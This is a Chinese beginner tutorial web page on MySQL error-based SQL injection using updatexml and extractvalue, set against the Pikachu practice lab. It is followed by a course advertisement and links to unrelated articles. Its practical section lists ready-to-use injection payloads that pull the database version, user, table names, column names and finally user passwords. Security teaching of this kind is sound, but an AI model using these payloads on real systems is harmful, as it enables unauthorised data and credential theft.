当前位置: 首页 > news >正文

【新手入门】SQL注入之报错注入

【新手入门】SQL注入之报错注入

一、概念

报错注入指在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。

常见的select/insert/update/delete注入都可以使用报错方式来获取信息。

为什么要用函数报错?

是因为我们之前学到的一些注入测试手段,可能看不到报错,被屏蔽或者处理了,不好判断是否有注入点,所以学一下基于函数的报错。

二、原理

以皮卡丘靶场为例

“http header”注入,登录,抓包

用测试语句测试

若测试后没有报错,但也没看到用户表中的数据,页面渲染还是原先的页面,可能是因为服务端那边拿到数据之后,只是在数据库中查询了一下有没有admin’这个用户就结束了,没有把整个表里面的查到的数据展示给你看。

在页面没有给任何反馈信息的情况下,就可以用到报错注入。

三、报错注入分类

updatexml注入

insert注入
update注入
delete注入
extractvalue()注入

四、三个常用的用来报错的函数

Updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

extractvalue():函数是MYSQL对XML文档数据进行查询的XPATH函数。

floor():MYSQL中用来取整的函数。

1.updatexml()

(XML_document, XPath_string, new_value);
它是一个内容替换函数,主要针对的xml数据;
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据。

如:数据版本为5.5.53,那么concat连接之后,得到的结果为5.5.53updatexml(1,5.5.53,1),其中~5.5.53~并不符合xpath的语法格式,会报错。

2.extractvalue()

EXTRACTVALUE (XML_document, XPath_string);

从目标XML中返回包含所查询值的字符串。
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。

如:SELECT Extractvalue(‘’,‘/a/b’);就是寻找前一段xml文档内容中的a节点下的b节点,这里书写错误的话,就会报错。

**### 五、实战演练

1、爆数据库版本信息

k’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

(K这个字母是随便写的,写什么都可以 0x7e是16进制,表示一个~符号)

k’and updatexm(1,concat(0x7e,(SELECT@@version),0x7e),1)#

k‘and updatexml(1,concat(“~”,(SELECT @@version),“~”),1)#

这里为什么不直接写~,而是写成了16进制呢?

因为本身为字符串,如果直接写,需要用引号引起来,如果用单引号的话,势必会和我们前面闭合用的单引号有些冲突,所以只能用双引号,还需要写引号,比较麻烦,并且如果别人后台对引号做了限制的话,我们用引号就会注入失败。

可以通过编码解码工具查看一些0x7e是什么。

concat是mysql中的字符串拼接函数,能拼接两个字符串.

SELECT@@version是查询当前数据库的版本,不加两个@也是可以的。

在靶场搜索型注入中输入k’and updatexm(1,concat(0x7e,(SELECT@@version),0x7e),1)#

报错,但可以查询到数据库版本

2、爆数据库当前用户

k’ and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

3、爆数据库

k’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

4、爆表

5.1版本及以上版本,mysql数据库中会存在一个叫做的formation_schema的默认数据库,这个库里面记录着整个mysq!管理的数据库的名称、表名、列名(字段名)。

获取数据库表名,输入:k’and updatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema=‘pikachu’)),0)#,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示

子查询返回的行数大于1

limit限制一行,输入k’ and updatexml(1,concat(0x7e,(select table_ name from information_schema.tables wheretable_schema=‘pikachu’ limit 0,1)),0)#,更改limit后面的数字limit 0完成表名遍历。

5、爆字段

获取字段名,输入: k’ and updatexml(1,concat(0x7e,(select column_name from information _schema columns wheretable_name=‘users’ and table_schema=‘pikachu’ limit 2,1)),0)#

6、爆字段内容

获取字段内容,输入:k’and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

学习资料

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

从零到精通完整闭环:基础攻防→渗透测试→应急响应→CTF实战,5大模块200+课时,比大学教材更贴近企业实战!”

  • 涵盖渗透测试案例分析实战技巧,直接对应面试真题;
  • 包含CTF竞赛基础HW行动攻防对抗实录,丰富你的简历项目经验;
  • 深入十大安全漏洞利用技巧,掌握这些高阶技能,实战SRC挖洞赚钱。

🎁实战教学,专属靶场:掌握这些高阶技能,谈薪更有底气。无论你是找渗透测试岗还是安全服务岗,这些项目都是加分项。

👇扫描下方图片,补齐实战短板,拿下心仪Offer:

http://www.jsqmd.com/news/1020595/

相关文章:

  • 当机器开始养育机器——嵌入式视角下的未来社会沙盘推演
  • 2026年6月市场观察:优质渗透结晶型防水涂料厂家如何炼成 - 品牌鉴赏官2026
  • 阿里云Linux云服务器搭建Joomla基础管理平台:从零到企业级部署
  • Ubuntu 20.04中文TTS实战:espeak-ng+mbrola语音合成全链路打通
  • Windows安卓驱动安装终极指南:一键自动化ADB Fastboot工具
  • 百色高口碑黄金铂金回收白银回收实体老店排行 5 家靠谱门店电话地址全收录
  • 2026年天津离婚律师推荐指南:从抚养权到大额财产分割全覆盖 - 本地品牌推荐
  • 告别无效投递:NewJob智能插件让你的求职效率提升300%
  • Windows 11终极优化指南:用Win11Debloat彻底掌控你的系统
  • 文档自动化操作系统:规则驱动的PDF生成与出版流水线
  • 2026年阳新中专学校怎么选?多维度实测对比,这7家值得你关注! - 优质品牌商家
  • 多维聚合实战指南:从SQL GROUP BY到OLAP立方体构建
  • Liouville CFT中的缺陷算子与边界态研究
  • 2026年 永磁铁氧体源头厂家推荐:东莞强力/耐高温/不退磁/方形环形异形电机喇叭黑磁等永磁铁氧体优选品牌 - 品牌发掘
  • 2026年常州全屋定制十大品牌推荐:橱柜、衣柜、鞋柜、书柜、餐边柜、衣帽间、电视柜、玄关柜全案定制深度榜单及选购指南 - 品牌发掘
  • 2026年公办美术类本科院校实测评测:靠谱院校盘点 - 优质品牌商家
  • AntiDupl终极指南:5步快速清理电脑中的重复图片
  • 如何深度掌握Windows内核级硬件伪装技术:开源工具实战指南
  • 蚌埠高口碑黄金铂金回收白银回收实体老店排行 5 家靠谱门店电话地址全收录
  • 一文吃透 NVIDIA PhysX 物理引擎:原理、架构、核心组件与实战应用
  • 从Jupyter到生产:机器学习模型部署的工程化实践
  • 2026年五莲花路沿石行业观察:靠谱供应商与工程案例深度分析 - 优质品牌商家
  • macOS源码编译ROS 2 Jazzy完整指南:SIP、Qt@5与Xcode兼容性实战
  • 2026年新消息:深度剖析太原全屋定制实力品牌的可靠之选 - 品牌鉴赏官2026
  • 微信小程序图片裁剪终极指南:we-cropper完整使用教程
  • 讲真的2026年天津交通事故律师 这5位值得信赖推荐 - 本地品牌推荐
  • 2026年河南公办二本院校可靠推荐排行权威盘点:河南口腔类专业大学推荐/河南好就业的本科有哪些?/排行一览 - 优质品牌商家
  • 2026河南汽车类专科院校评测:5所头部院校核心维度对比 - 优质品牌商家
  • 2026年 东莞背光源/背光方案定制/黑白屏背光/中小尺寸背光/白色背光厂家推荐榜:创意光源与精密工艺口碑之选 - 品牌发掘
  • Logistic Regression工业级实战:二分类模型落地全流程